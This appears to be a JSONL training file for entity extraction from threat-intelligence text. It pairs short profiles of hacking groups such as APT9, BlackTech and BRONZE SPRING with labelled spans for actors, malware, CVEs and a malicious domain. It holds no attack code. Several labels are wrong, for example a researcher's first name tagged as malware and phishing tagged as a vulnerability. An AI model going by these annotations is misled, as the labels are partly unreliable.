+{"text": "APT9 engages in cyber operations where the goal is data theft, usually focusing on the data and projects that make a particular organization competitive within its field. APT9 was historically very active in the pharmaceuticals and biotechnology industry. We have observed this actor use spearphishing, valid accounts, as well as remote services for Initial Access. On at least one occasion, Mandiant observed APT9 at two companies in the biotechnology industry and suspect that APT9 actors may have gained initial access to one of the companies by using a trusted relationship between the two companies. APT9 use a wide range of backdoors, including publicly available backdoors, as well as backdoors that are believed to be custom, but are used by multiple APT groups.", "spans": {"THREAT_ACTOR: APT9": [[0, 4], [171, 175], [410, 414], [479, 483], [605, 609]], "ORGANIZATION: Mandiant": [[392, 400]], "VULNERABILITY: spearphishing": [[288, 301]]}, "info": {"source": "apt_reports", "name": "APT9"}}
+{"text": "APTIran has claimed responsibility for a large-scale campaign targeting Israeli critical infrastructure, asserting infiltration of government ministries, hospitals, universities, and financial institutions as retaliation for Israeli military operations. The group has leaked over 350,000 Israeli government login credentials and approximately 300 internal databases, while also threatening to create a 'zombie' network from infected devices. They have reportedly deployed ransomware strains such as ALPHV and LockBit as part of their offensive toolkit. Additionally, APTIran has made unverified claims of compromising Israeli water control systems and the state-owned food security agency Jordan Silos and Supply General Co.", "spans": {"THREAT_ACTOR: APTIran": [[0, 7], [567, 574]], "MALWARE: ALPHV": [[499, 504]]}, "info": {"source": "apt_reports", "name": "APTIran"}}
+{"text": "ArcaneDoor is a campaign that is the latest example of state-sponsored actors targeting perimeter network devices from multiple vendors. Coveted by these actors, perimeter network devices are the perfect intrusion point for espionage-focused campaigns. As a critical path for data into and out of the network, these devices need to be routinely and promptly patched; using up-to-date hardware and software versions and configurations; and be closely monitored from a security perspective. Gaining a foothold on these devices allows an actor to directly pivot into an organization, reroute or modify traffic and monitor network communications. In the past two years, we have seen a dramatic and sustained increase in the targeting of these devices in areas such as telecommunications providers and energy sector organizations — critical infrastructure entities that are likely strategic targets of interest for many foreign governments.", "spans": {"THREAT_ACTOR: ArcaneDoor": [[0, 10]]}, "info": {"source": "apt_reports", "name": "ArcaneDoor"}}
+{"text": "AridViper is a state-sponsored APT primarily targeting military personnel, journalists, and dissidents in the Middle East, with a focus on Israel and Palestine. The group employs custom-developed mobile malware, including variants like AridSpy, GnatSpy, and Micropsia, often delivered through spear-phishing emails and deceptive applications. Their operations involve sophisticated social engineering tactics, including the use of fake social media profiles and weaponized apps masquerading as legitimate services. AridViper's activities are characterized by a blend of technical sophistication and psychological manipulation, aiming to exfiltrate sensitive data from compromised systems.", "spans": {"THREAT_ACTOR: AridViper": [[0, 9], [515, 524]], "VULNERABILITY: spear-phishing": [[293, 307]], "VULNERABILITY: phishing": [[299, 307]], "MALWARE: Micropsia": [[258, 267]]}, "info": {"source": "apt_reports", "name": "AridViper"}}
+{"text": "Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam", "spans": {"VULNERABILITY: DDoS": [[268, 272]]}, "info": {"source": "apt_reports", "name": "Aslan Neferler Tim"}}
+{"text": "Asnarök is a threat actor that exploited CVE-2020-12271 and utilized command injection privilege escalation to gain root access to devices and install the Asnarök Trojan and demonstrated significant changes in TTPs, including the deployment of a web shell that did not reach out to external C2 for commands. X-Ops identified a patient-zero device linked to the attack and observed the use of an IC.sh script that stole local user account data. The actor's activities were linked to a broader pattern of malicious exploit research and targeted vulnerabilities disclosed by bug bounty researchers.", "spans": {"CVE_ID: CVE-2020-12271": [[41, 55]], "THREAT_ACTOR: Asnarök": [[0, 7], [155, 162]], "VULNERABILITY: command injection": [[69, 86]], "VULNERABILITY: privilege escalation": [[87, 107]]}, "info": {"source": "apt_reports", "name": "Asnarök"}}
+{"text": "NSFOCUS Security Labs recently discovered a new attack process based on phishing documents in their daily threat-hunting operations. Delving deeper into this finding through extensive research, they confirmed two new Trojan horse programs and many rare attack techniques and tactics. NSFOCUS Security Labs believes that this new attack process comes from a new APT attacker, who has a high technical level and cautious attack attitude. The phishing attack activity captured this time is part of the attacker’s targeted strike on specific targets and is its main means to achieve in-domain penetration. NSFOCUS Security Labs validated the high-level threat attributes of AtlasCross in terms of development technology and attack strategy through an in-depth analysis of its attack metrics. At this current stage, AtlasCross has a relatively limited scope of activity, primarily focusing on targeted attacks against specific hosts within a network domain. However, the attack processes they employ are highly robust and mature. NSFOCUS Security Labs deduce that this attacker is highly likely to deploy this attack process into larger-scale network attack operations.", "spans": {"THREAT_ACTOR: AtlasCross": [[670, 680], [811, 821]], "VULNERABILITY: phishing": [[72, 80], [440, 448]]}, "info": {"source": "apt_reports", "name": "AtlasCross"}}
+{"text": "Adversary group targeting diplomatic missions and governmental organisations.", "spans": {}, "info": {"source": "apt_reports", "name": "Attor"}}
+{"text": "The group’s existence came to light during Context’s investigation of a number of attacks against multinational enterprises that compromise smaller engineering services and consultancies working in their supply chains.", "spans": {}, "info": {"source": "apt_reports", "name": "Avivore"}}
+{"text": "Awaken Likho is an APT group that has targeted Russian government agencies and industrial enterprises, employing techniques such as information gathering via search engines and using MeshCentral for remote access. The group has been active since at least December 2021 and has ramped up its activities following the Russo-Ukrainian conflict. Recent reports indicate that they are focusing on espionage against critical infrastructure in the defense and energy sectors. Analysis of their malware reveals a new version that is still in development, suggesting ongoing operational capabilities.", "spans": {"THREAT_ACTOR: Awaken Likho": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Awaken Likho"}}
+{"text": "Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.", "spans": {"VULNERABILITY: DDoS": [[109, 113]]}, "info": {"source": "apt_reports", "name": "Ayyıldız Tim"}}
+{"text": "AzzaSec is a hacktivist group that originated in Italy. Known for their pro-Palestine stance, they have been involved in various cyberattacks targeting Israel and pro-Israel countries. Additionally, AzzaSec has engaged in ransomware activities and has been known to collaborate with other cybercriminal groups.", "spans": {"THREAT_ACTOR: AzzaSec": [[0, 7], [199, 206]]}, "info": {"source": "apt_reports", "name": "AzzaSec"}}
+{"text": "An APT group that we are calling BackdoorDiplomacy, due to the main vertical of its victims, has been targeting Ministries of Foreign Affairs and telecommunication companies in Africa and the Middle East since at least 2017.", "spans": {"THREAT_ACTOR: BackdoorDiplomacy": [[33, 50]]}, "info": {"source": "apt_reports", "name": "BackdoorDiplomacy"}}
+{"text": "Kaspersky researchers have identified a new APT group named BadRory that has mounted two waves of spear-phishing attacks against Russian organizations. The campaigns took place in October 2022 and April 2023 and leveraged boobytrapped Office emails. Targets included government entities, military contractors, universities, and hospitals.", "spans": {"THREAT_ACTOR: BadRory": [[60, 67]], "SYSTEM: Kaspersky": [[0, 9]], "VULNERABILITY: spear-phishing": [[98, 112]], "VULNERABILITY: phishing": [[104, 112]]}, "info": {"source": "apt_reports", "name": "BadRory"}}
+{"text": "Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.", "spans": {"THREAT_ACTOR: Bahamut": [[0, 7]], "VULNERABILITY: phishing": [[178, 186]]}, "info": {"source": "apt_reports", "name": "Bahamut"}}
+{"text": "Crowdstrike tracks the developer of Panda Zeus as BAMBOO SPIDER", "spans": {"THREAT_ACTOR: BAMBOO SPIDER": [[50, 63]], "MALWARE: Zeus": [[42, 46]]}, "info": {"source": "apt_reports", "name": "BAMBOO SPIDER"}}
+{"text": "BANISHED KITTEN is an Iranian state-nexus adversary active since at least 2008. While the adversary’s most prominent activity is the July and September 2022 disruptive attacks targeting Albanian government infrastructure and the use of the HomelandJustice persona to leak stolen data, BANISHED KITTEN has likely targeted dissidents using the AllinOneNeo malware family.", "spans": {"THREAT_ACTOR: BANISHED KITTEN": [[0, 15], [285, 300]]}, "info": {"source": "apt_reports", "name": "BANISHED KITTEN"}}
+{"text": "BatShadow is a Vietnamese threat actor that targets job seekers and digital marketing professionals through social engineering campaigns, deploying the Go-based malware known as Vampire Bot. The group impersonates recruiters and distributes malicious job descriptions and corporate PDFs, triggering a multi-stage infection chain that enables remote surveillance and data theft. Analysts have linked BatShadow to Vietnam based on infrastructure reuse and targeting patterns, noting its history of using domains like samsung-work.com to distribute various malware families, including Agent Tesla and Quasar RAT. The actor employs techniques such as filename tricks and coercive browser actions to evade detection and increase the likelihood of successful compromises.", "spans": {"DOMAIN: samsung-work.com": [[515, 531]], "THREAT_ACTOR: BatShadow": [[0, 9], [399, 408]], "TOOL: Quasar RAT": [[598, 608]], "SYSTEM: Go": [[152, 154]], "MALWARE: Agent Tesla": [[582, 593]]}, "info": {"source": "apt_reports", "name": "BatShadow"}}
+{"text": "BazarCall campaigns forgo malicious links or attachments in email messages in favor of phone numbers that recipients are misled into calling. It’s a technique reminiscent of vishing and tech support scams where potential victims are being cold called by the attacker, except in BazarCall’s case, targeted users must dial the number. And when they do, the users are connected with actual humans on the other end of the line, who then provide step-by-step instructions for installing malware into their devices.", "spans": {"THREAT_ACTOR: BazarCall": [[0, 9], [278, 287]]}, "info": {"source": "apt_reports", "name": "BazarCall"}}
+{"text": "Bearlyfy has been attributed to over 70 cyber attacks targeting Russian companies since its emergence in January 2025, employing a custom Windows ransomware strain known as GenieLocker. The group operates with dual objectives of extortion and sabotage, utilizing a modified version of PolyVice and leveraging vulnerabilities in external services and applications for initial access. Analysis reveals overlaps with PhantomCore, indicating a pro-Ukrainian interest, while Bearlyfy's attacks are characterized by minimal preparation and a focus on immediate impact through data encryption and destruction. Approximately 20% of victims reportedly pay the ransom, with demands escalating to hundreds of thousands of dollars.", "spans": {"THREAT_ACTOR: Bearlyfy": [[0, 8], [470, 478]], "SYSTEM: Windows": [[138, 145]], "MALWARE: PhantomCore": [[414, 425]]}, "info": {"source": "apt_reports", "name": "Bearlyfy"}}
+{"text": "Mentioned as operator of TriumphLoader and Matanbuchus", "spans": {"MALWARE: Matanbuchus": [[43, 54]]}, "info": {"source": "apt_reports", "name": "BelialDemon"}}
+{"text": "The Belsen Group has exploited the CVE-2022-40684 vulnerability in Fortinet devices to compromise over 15,000 FortiGate firewalls, releasing detailed configurations and plaintext VPN credentials. Their leaked data, organized by country and IP address, primarily consists of configurations from FortiOS 7.0.6 and 7.2.1, which were the last vulnerable versions before patches were issued. Security researcher Kevin Beaumont confirmed that the group leveraged this vulnerability to gain unauthorized access and warned of potential exploitation of CVE-2024-55591 by similar threat actors. Fortinet has stated that the leaked data originates from older campaigns and not from any recent incidents.", "spans": {"CVE_ID: CVE-2022-40684": [[35, 49]], "CVE_ID: CVE-2024-55591": [[544, 558]], "THREAT_ACTOR: Belsen Group": [[4, 16]], "SYSTEM: FortiGate": [[110, 119]], "SYSTEM: Fortinet": [[67, 75], [585, 593]], "SYSTEM: FortiOS": [[294, 301]], "SYSTEM: VPN": [[179, 182]], "MALWARE: Kevin": [[407, 412]]}, "info": {"source": "apt_reports", "name": "Belsen Group"}}
+{"text": "A pro-Hamas hacktivist group developed a wiper called BiBi-Linux to target and destroy data on Israeli systems. The malware impersonates ransomware but operates solely to corrupt and delete files, indicating no data theft. A Windows variant, BiBi-Windows, was also discovered, sharing similarities with BiBi-Linux but targeting all files except executables. ESET researchers have named the group behind the wipers BiBiGun. The group's TTPs have shown overlaps with Moses Staff, which is believed to have an Iran nexus.", "spans": {"THREAT_ACTOR: BiBiGun": [[414, 421]], "SYSTEM: Windows": [[225, 232], [247, 254]], "SYSTEM: ESET": [[358, 362]], "SYSTEM: Linux": [[59, 64], [308, 313]], "MALWARE: BiBi": [[54, 58], [242, 246], [303, 307]], "MALWARE: BiBi-Windows": [[242, 254]], "MALWARE: BiBi-Linux": [[54, 64], [303, 313]], "MALWARE: Moses Staff": [[465, 476]]}, "info": {"source": "apt_reports", "name": "BiBiGun"}}
+{"text": "Bignosa is a threat actor known for launching malware campaigns targeting Australian and US organizations using phishing emails with disguised Agent Tesla attachments protected by Cassandra Protector. They compromised servers by installing Plesk and RoundCube, connected via SSH and RDP, and used advanced obfuscation methods to evade detection. Bignosa collaborated with another cybercriminal named Gods, who provided advice and assistance in their malicious activities. The actor has been linked to multiple phishing attacks and malware distribution campaigns, showcasing a high level of sophistication in their operations.", "spans": {"THREAT_ACTOR: Bignosa": [[0, 7], [346, 353]], "TOOL: SSH": [[275, 278]], "TOOL: RDP": [[283, 286]], "SYSTEM: Plesk": [[240, 245]], "VULNERABILITY: phishing": [[112, 120], [510, 518]], "MALWARE: Agent Tesla": [[143, 154]]}, "info": {"source": "apt_reports", "name": "Bignosa"}}
+{"text": "BITWISE SPIDER has recently and quickly become a significant player in the big game hunting (BGH) landscape. Their dedicated leak site (DLS) has received the highest number of victims posted each month since July 2021 compared to other adversary DLSs due to the growing popularity and effectiveness of LockBit 2.0.", "spans": {"THREAT_ACTOR: BITWISE SPIDER": [[0, 14]], "MALWARE: LockBit 2.0": [[302, 313]]}, "info": {"source": "apt_reports", "name": "BITWISE SPIDER"}}
+{"text": "Recent campaigns suggest Hamas-linked actors may be advancing their\nTTPs to include intricate social engineering lures specially crafted to\nappeal to a niche group of high value targets. In September 2023, a Palestine-based group likely linked to Hamas targeted Israeli software engineers\nusing an elaborate social engineering ruse that ultimately installed malware\nand stole cookies. The attackers, which Google’s Threat Analysis Group (TAG) tracks as BLACKATOM, posed as employees of legitimate companies\nand reached out via LinkedIn to invite targets to apply for software development freelance opportunities. Targets included software engineers in\nthe Israeli military, as well as Israel’s aerospace and defense industry", "spans": {"THREAT_ACTOR: BLACKATOM": [[453, 462]], "ORGANIZATION: Google": [[406, 412]]}, "info": {"source": "apt_reports", "name": "Blackatom"}}
+{"text": "BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts.\nLike most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.", "spans": {"THREAT_ACTOR: BLACKGEAR": [[0, 9], [476, 485]]}, "info": {"source": "apt_reports", "name": "Blackgear"}}
+{"text": "Blackjack, a threat actor linked to Ukraine's security apparatus, has targeted critical Russian entities such as ISPs, utilities, and military infrastructure. They have claimed responsibility for launching cyberattacks resulting in substantial damage and data exfiltration. The group allegedly used the Fuxnet malware to target sensor gateways connected to internet-connected sensors, impacting infrastructure monitoring systems. Blackjack has also been involved in attacks against companies like Moscollector, causing disruptions and stealing sensitive data.", "spans": {"THREAT_ACTOR: Blackjack": [[0, 9], [430, 439]]}, "info": {"source": "apt_reports", "name": "BlackJack"}}
+{"text": "BLACKMETA is a pro-Palestinian hacktivist group that has claimed responsibility for a series of DDoS attacks and data breaches targeting organizations perceived as supportive of Israel, including the Internet Archive and various entities in the UAE and Saudi Arabia. The group employs DDoS attacks, website defacement, and data exfiltration, with motivations rooted in political ideology and retribution for perceived injustices against Palestinians. Their operations have been linked to a Telegram channel, where they publicize their activities and collaborate with other hacktivist groups. Additionally, they have been attributed to significant cyber disruptions, including a 100-hour DDoS campaign against a UAE bank, showcasing their operational capabilities.", "spans": {"THREAT_ACTOR: BLACKMETA": [[0, 9]], "SYSTEM: Telegram": [[490, 498]], "VULNERABILITY: DDoS": [[96, 100], [285, 289], [687, 691]]}, "info": {"source": "apt_reports", "name": "Blackmeta"}}
+{"text": "BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.", "spans": {"THREAT_ACTOR: BlackOasis": [[0, 10], [335, 345]], "THREAT_ACTOR: NEODYMIUM": [[287, 296]], "ORGANIZATION: Microsoft": [[274, 283]]}, "info": {"source": "apt_reports", "name": "BlackOasis"}}
+{"text": "Blacktail is a cybercrime group that has gained attention for its ransomware campaigns, particularly the Buhti ransomware. They are known for using custom-built data exfiltration tools and have been observed exploiting vulnerabilities in both Windows and Linux systems.", "spans": {"THREAT_ACTOR: Blacktail": [[0, 9]], "SYSTEM: Windows": [[243, 250]], "SYSTEM: Linux": [[255, 260]]}, "info": {"source": "apt_reports", "name": "Blacktail"}}
+{"text": "BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology.\nFollowing their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear.\nPLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO.\nPLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.", "spans": {"THREAT_ACTOR: BlackTech": [[0, 9], [205, 214]], "SYSTEM: VPN": [[1165, 1168]], "VULNERABILITY: spear-phishing": [[781, 795]], "VULNERABILITY: phishing": [[787, 795]], "MALWARE: PLEAD": [[450, 455], [500, 505], [682, 687], [722, 727], [770, 775], [961, 966], [1043, 1048], [1308, 1313]], "MALWARE: Waterbear": [[489, 498]]}, "info": {"source": "apt_reports", "name": "BlackTech"}}
+{"text": "Blackwood is a China-aligned APT group that has been active since at least 2018. They primarily engage in cyberespionage operations targeting individuals and companies in China, Japan, and the United Kingdom. Blackwood utilizes sophisticated techniques such as adversary-in-the-middle attacks to deliver their custom implant, NSPX30, through updates of legitimate software. They also have the capability to hide the location of their command and control servers by intercepting traffic generated by the implant.", "spans": {"THREAT_ACTOR: Blackwood": [[0, 9], [209, 218]]}, "info": {"source": "apt_reports", "name": "Blackwood"}}
+{"text": "BladedFeline is an Iran-aligned APT group that has been active since at least 2017, targeting Iraqi and Kurdish government officials for cyberespionage. The group employs a variety of tools, including the Shahmaran backdoor, Whisper, and PrimeCache, which is a malicious IIS module. BladedFeline utilizes techniques such as spearphishing (T1566), exploiting public-facing applications (T1190), and timestomping to maintain access and exfiltrate data. The group is assessed with medium confidence to be a subgroup of OilRig, focusing on strategic access to high-ranking officials in the region.", "spans": {"THREAT_ACTOR: BladedFeline": [[0, 12], [283, 295]], "THREAT_ACTOR: OilRig": [[516, 522]], "SYSTEM: IIS": [[271, 274]], "VULNERABILITY: spearphishing": [[324, 337]]}, "info": {"source": "apt_reports", "name": "BladedFeline"}}
+{"text": "Bluebottle, a cyber-crime group that specializes in targeted attacks against the financial sector, is continuing to mount attacks on banks in Francophone countries. The group makes extensive use of living off the land, dual-use tools, and commodity malware, with no custom malware deployed in this campaign.", "spans": {"THREAT_ACTOR: Bluebottle": [[0, 10]]}, "info": {"source": "apt_reports", "name": "BlueBottle"}}
+{"text": "BlueHornet is an advanced persistent threat group targeting government organizations in China, North Korea, Iran, and Russia. They have compromised and leaked data from other APT groups like Kryptonite Panda and Lazarus Group. BlueHornet has been involved in campaigns such as Operation Renminbi, Operation Ruble, and Operation EUSec, focusing on exfiltrating region-specific data and selling it on the dark web. They have also been known to collaborate with different threat actors and have recently disclosed a zero-day exploit in NGINX 1.18.", "spans": {"THREAT_ACTOR: BlueHornet": [[0, 10], [227, 237]], "THREAT_ACTOR: Lazarus Group": [[212, 225]], "VULNERABILITY: zero-day": [[513, 521]]}, "info": {"source": "apt_reports", "name": "BlueHornet"}}
+{"text": "Blue Termite is a group of suspected Chinese origin active in Japan.", "spans": {"THREAT_ACTOR: Blue Termite": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Blue Termite"}}
+{"text": "Blue Tsunami, also known as Black Cube, is a cyber mercenary group associated with the private intelligence firm Black Cube. They target individuals in various industries, including human rights, finance, and consulting. Blue Tsunami engages in social engineering and uses techniques such as honeypot profiles, fake jobs, and fake companies to gather human intelligence for their clients. LinkedIn and Microsoft recently took down numerous fake accounts and company pages linked to Blue Tsunami.", "spans": {"THREAT_ACTOR: Blue Tsunami": [[0, 12], [221, 233], [482, 494]], "ORGANIZATION: Microsoft": [[402, 411]]}, "info": {"source": "apt_reports", "name": "Blue Tsunami"}}
+{"text": "Bohrium is an Iranian threat actor that has been involved in spear-phishing operations targeting organizations in the US, Middle East, and India. They often create fake social media profiles, particularly posing as recruiters, to trick victims into running malware on their computers. Microsoft's Digital Crimes Unit has taken legal action and seized 41 domains used by Bohrium to disrupt their activities. The group has shown a particular interest in sectors such as technology, transportation, government, and education.", "spans": {"THREAT_ACTOR: Bohrium": [[0, 7], [370, 377]], "ORGANIZATION: Microsoft": [[285, 294]], "VULNERABILITY: spear-phishing": [[61, 75]], "VULNERABILITY: phishing": [[67, 75]]}, "info": {"source": "apt_reports", "name": "Bohrium"}}
+{"text": "Bondnet is a threat actor that deploys backdoors and cryptocurrency miners. They use high-performance bots as C2 servers and configure reverse RDP environments on compromised systems. Bondnet has infected over 15,000 Windows server machines worldwide, primarily targeting Windows Server 2008 R2 systems. The botnet is used for mining cryptocurrencies like Monero, ByteCoin, RieCoin, and ZCash, potentially earning the operator thousands of dollars per day.", "spans": {"THREAT_ACTOR: Bondnet": [[0, 7], [184, 191]], "TOOL: RDP": [[143, 146]], "SYSTEM: Windows Server 2008": [[272, 291]], "SYSTEM: Windows Server": [[272, 286]], "SYSTEM: Windows": [[217, 224], [272, 279]]}, "info": {"source": "apt_reports", "name": "Bondnet"}}
+{"text": "Boolka is a threat actor known for infecting websites with malicious JavaScript scripts for data exfiltration. They have been carrying out opportunistic SQL injection attacks since at least 2022. Boolka has developed a malware delivery platform based on the BeEF framework and has been distributing the BMANAGER trojan. Their activities demonstrate a progression from basic website infections to more sophisticated malware operations.", "spans": {"THREAT_ACTOR: Boolka": [[0, 6], [196, 202]], "TOOL: BeEF": [[258, 262]], "VULNERABILITY: SQL injection": [[153, 166]]}, "info": {"source": "apt_reports", "name": "Boolka"}}
+{"text": "BOSON SPIDER is a cyber criminal group, which was first identified in 2015, recently and inexplicably went dark in the spring of 2016, appears to be a tightly knit group operating out of Eastern Europe. They have used a variety of distribution mechanisms such as the infamous (and now defunct) angler exploit kit, and obfuscated JavaScript to reduce the detection by antivirus solutions.", "spans": {"THREAT_ACTOR: BOSON SPIDER": [[0, 12]]}, "info": {"source": "apt_reports", "name": "BOSON SPIDER"}}
+{"text": "Throughout 2018, CrowdStrike Intelligence tracked BOSS SPIDER as it regularly updated Samas ransomware and received payments to known Bitcoin (BTC) addresses. This consistent pace of activity came to an abrupt halt at the end of November 2018 when the U.S. DoJ released an indictment for Iran-based individuals Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri, alleged members of the group.", "spans": {"THREAT_ACTOR: BOSS SPIDER": [[50, 61]], "ORGANIZATION: CrowdStrike": [[17, 28]], "MALWARE: Samas": [[86, 91]]}, "info": {"source": "apt_reports", "name": "BOSS SPIDER"}}
+{"text": "First observed activity in December 2013.", "spans": {}, "info": {"source": "apt_reports", "name": "Boulder Bear"}}
+{"text": "BrazenBamboo is a Chinese state-affiliated threat actor known for developing the LIGHTSPY, DEEPDATA, and DEEPPOST malware families. Their infrastructure includes capabilities for zero-day exploitation, specifically targeting vulnerabilities like FortiClient, and employs a command-and-control architecture that supports multi-platform operations. Volexity's analysis indicates that BrazenBamboo is a well-resourced entity with a focus on domestic targets, utilizing custom analyst software to manage data collected from their malware. The ongoing development of their malware families is evidenced by the timestamps associated with their latest payloads.", "spans": {"THREAT_ACTOR: BrazenBamboo": [[0, 12], [382, 394]], "ORGANIZATION: Volexity": [[347, 355]], "VULNERABILITY: zero-day": [[179, 187]], "MALWARE: DEEPDATA": [[91, 99]], "MALWARE: LIGHTSPY": [[81, 89]], "MALWARE: DEEPPOST": [[105, 113]]}, "info": {"source": "apt_reports", "name": "BrazenBamboo"}}
+{"text": "BreachLaboratory is a cybercrime actor that specializes in the extraction and sale of sensitive financial and identity datasets from various organizations. They have claimed to exfiltrate approximately 950,000 records from Grupo Catalana Occidente and over 18,000 records from Bank Mandiri, with data including customer names, account details, and SWIFT codes. The actor operates on underground forums, selling structured datasets such as CSV files and SQL dumps, and emphasizes the validity and financial utility of the data. Their activities indicate a focus on monetization through direct database sales and potential downstream fraud enablement.", "spans": {"THREAT_ACTOR: BreachLaboratory": [[0, 16]]}, "info": {"source": "apt_reports", "name": "BreachLaboratory"}}
+{"text": "In early 2021 CTU researchers observed BRONZE EDGEWOOD exploiting the Microsoft Exchange Server of an organization in Southeast Asia. The threat group deployed a China Chopper webshell and ran the Nishang Invoke-PowerShellTcp.ps1 script to connect back to C2 infrastructure. The threat group is publicly linked to malware families Chinoxy, PCShare and FunnyDream. CTU researchers have discovered that BRONZE EDGEWOOD also leverages Cobalt Strike in its intrusion activity. BRONZE EDGEWOOD has been active since at least 2018 and targets government and private enterprises across Southeast Asia. CTU researchers assess with moderate confidence that BRONZE EDGEWOOD operates on behalf the Chinese government and has a remit that covers political espionage.", "spans": {"THREAT_ACTOR: BRONZE EDGEWOOD": [[39, 54], [401, 416], [473, 488], [648, 663]], "THREAT_ACTOR: Cobalt": [[432, 438]], "THREAT_ACTOR: FunnyDream": [[352, 362]], "TOOL: Cobalt Strike": [[432, 445]], "SYSTEM: Exchange Server": [[80, 95]], "SYSTEM: Microsoft Exchange": [[70, 88]], "ORGANIZATION: Microsoft": [[70, 79]], "MALWARE: China Chopper": [[162, 175]], "MALWARE: Chinoxy": [[331, 338]]}, "info": {"source": "apt_reports", "name": "BRONZE EDGEWOOD"}}
+{"text": "BRONZE HIGHLAND has been observed using spearphishing as an initial infection vector to deploy the MgBot remote access trojan against targets in Hong Kong. Third party reporting suggests the threat group also targets India, Malaysia and Taiwan and leverages Cobalt Strike and KsRemote Android Rat. CTU researchers assess with moderate confidence that BRONZE HIGHLAND operates on behalf of China and has a remit covering espionage against domestic human rights and pro-democracy advocates and nations neighbouring China", "spans": {"THREAT_ACTOR: BRONZE HIGHLAND": [[0, 15], [351, 366]], "THREAT_ACTOR: Cobalt": [[258, 264]], "TOOL: Cobalt Strike": [[258, 271]], "SYSTEM: Android": [[285, 292]], "VULNERABILITY: spearphishing": [[40, 53]], "MALWARE: MgBot": [[99, 104]]}, "info": {"source": "apt_reports", "name": "BRONZE HIGHLAND"}}
+{"text": "In December 2020, the IT management software provider SolarWinds announced that an unidentified threat actor had exploited a vulnerability in their Orion Platform software to deploy a web shell dubbed SUPERNOVA. CTU researchers track the operators of the SUPERNOVA web shell as BRONZE SPIRAL and assess with low confidence that the group is of Chinese origin. SUPERNOVA was likely deployed through exploitation of CVE-2020-10148, and CTU researchers observed post-exploitation reconnaissance commands roughly 30 minutes before the web shell was deployed. This may have been indicative of the threat actor conducting scan-and-exploit activity and then triaging for victims of particular interest, before deploying SUPERNOVA and attempting to dump credentials and move laterally.\n\nBRONZE SPIRAL has been associated with previous intrusions involving the targeting of ManageEngine servers, maintenance of long-term access to periodically harvest credentials and exfiltrate data, and espionage or theft of intellectual property. The threat group makes extensive use of native system tools and 'living off the land' techniques.", "spans": {"CVE_ID: CVE-2020-10148": [[414, 428]], "THREAT_ACTOR: BRONZE SPIRAL": [[278, 291], [779, 792]], "SYSTEM: SolarWinds": [[54, 64]], "SYSTEM: ManageEngine": [[865, 877]], "MALWARE: SUPERNOVA": [[201, 210], [255, 264], [360, 369], [713, 722]]}, "info": {"source": "apt_reports", "name": "BRONZE SPIRAL"}}
+{"text": "BRONZE SPRING is a threat group that CTU researchers assess with high confidence operates on behalf of China in the theft of intellectual property from defense, engineering, pharmaceutical and technology companies. The threat group typically uses scan-and-exploit for initial access, deploys the China Chopper webshell for remote execution and persistence, and creates RAR archives with a '.jpg' file extension for data exfiltration. \nIn July 2020 the U.S. Department of Justice indicted two Chinese hackers CTU researchers assess are members of the BRONZE SPRING threat group. The Department of Justice allege these hackers were responsible for compromising networks of hundreds of organisations and individuals in the U.S. and abroad since 2009, and that exfiltrated data would be passed to the Chinese Ministry of State Security or sold for financial gain.", "spans": {"THREAT_ACTOR: BRONZE SPRING": [[0, 13], [550, 563]], "TOOL: RAR": [[369, 372]], "ORGANIZATION: Department of Justice": [[457, 478], [582, 603]], "MALWARE: China Chopper": [[296, 309]]}, "info": {"source": "apt_reports", "name": "BRONZE SPRING"}}
